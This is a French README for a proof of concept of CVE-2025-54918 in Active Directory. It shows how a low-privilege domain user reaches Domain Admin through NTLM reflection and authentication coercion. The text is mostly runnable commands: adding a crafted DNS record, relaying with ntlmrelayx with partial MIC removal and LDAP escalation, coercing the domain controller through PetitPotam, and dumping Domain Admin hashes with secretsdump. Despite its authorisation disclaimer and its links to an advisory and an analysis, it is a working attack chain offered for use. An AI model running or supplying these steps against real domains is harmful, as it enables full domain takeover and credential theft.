
POC pour CVE-2025-54918 et une démonstration technique.
IMPORTANT :
Pour tester CVE-2025-54918, vous devez créer un enregistrement DNS dans l'environnement Active Directory cible.
Consultez toujours le client et obtenez une autorisation explicite avant de tester, car cela peut avoir un impact sur le comportement du DNS et de l'authentification dans les environnements de production.
Ce dépôt contient une preuve de concept technique démontrant comment un utilisateur de domaine à faibles privilèges peut élever ses privilèges jusqu'à un accès de niveau Admin de domaine en abusant de la réflexion NTLM combinée à la coercition d'authentification.
Remarque : la CVE est exploitable même avec la signature définie sur True, ce qui est la valeur par défaut pour un contrôleur de domaine. De plus, le correctif de CVE-2025–54918 concernait Windows 2025, et CVE-2025–33073 a corrigé (involontairement) Windows 2022.
Une analyse technique plus détaillée est disponible sur ma page Medium : https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1
192.168.140.150 (la signature est définie sur True, ce qui est la valeur par défaut pour un contrôleur de domaine)192.168.140.135nahya.localtest Utilisateur de domaine valide (aucun privilège DCSync)Clonez les dépôts requis :
git clone https://github.com/dirkjanm/krbrelayx.git
git clone https://github.com/decoder-it/impacket-partial-mic.git
Vérifiez que l'utilisateur ne peut pas effectuer de DCSync avant l'exploitation :
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC

Créez un enregistrement DNS utilisant le nom NetBIOS + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA qui résout vers l'IP de l'attaquant.
python3 dnstool.py -u 'nahya.local\USERNAME' -p 'PASSWORD' \
dc.nahya.local -a add \
-r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d '192.168.140.135' -dns-ip 192.168.140.150

Exécutez ntlmrelayx avec la suppression partielle du MIC et l'escalade LDAP activées :
python3 impacket-partial-mic/examples/ntlmrelayx.py --remove-mic-partial -smb2support -t ldaps://DC --escalate-user USERNAME --no-validate-privs

Forcez le contrôleur de domaine à s'authentifier auprès de l'enregistrement DNS contrôlé par l'attaquant à l'aide d'une technique de coercition (PetitPotam) :
nxc smb DC -u 'USERNAME' -p 'PASSWORD' -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Relancez secretsdump pour confirmer l'élévation de privilèges :
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC
✅ Résultat attendu : DCSync réussi et récupération des hashs Admin de domaine

À ce stade, l'attaquant a :
Consultez l'article Medium pour une explication approfondie de la vulnérabilité et de la chaîne d'attaque.
Ce travail n'aurait pas été possible sans :
impacket-partial-micAnalyse de la vulnérabilité de contournement de l'authentification NTLM et LDAP – Blog CrowdStrike
https://www.crowdstrike.com/en-us/blog/analyzing-ntlm-ldap-authentication-bypass-vulnerability/
Avis de sécurité Microsoft – CVE-2025-54918 – Guide de mise à jour MSRC
https://msrc.microsoft.com/update-guide/advisory/CVE-2025-54918
Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés.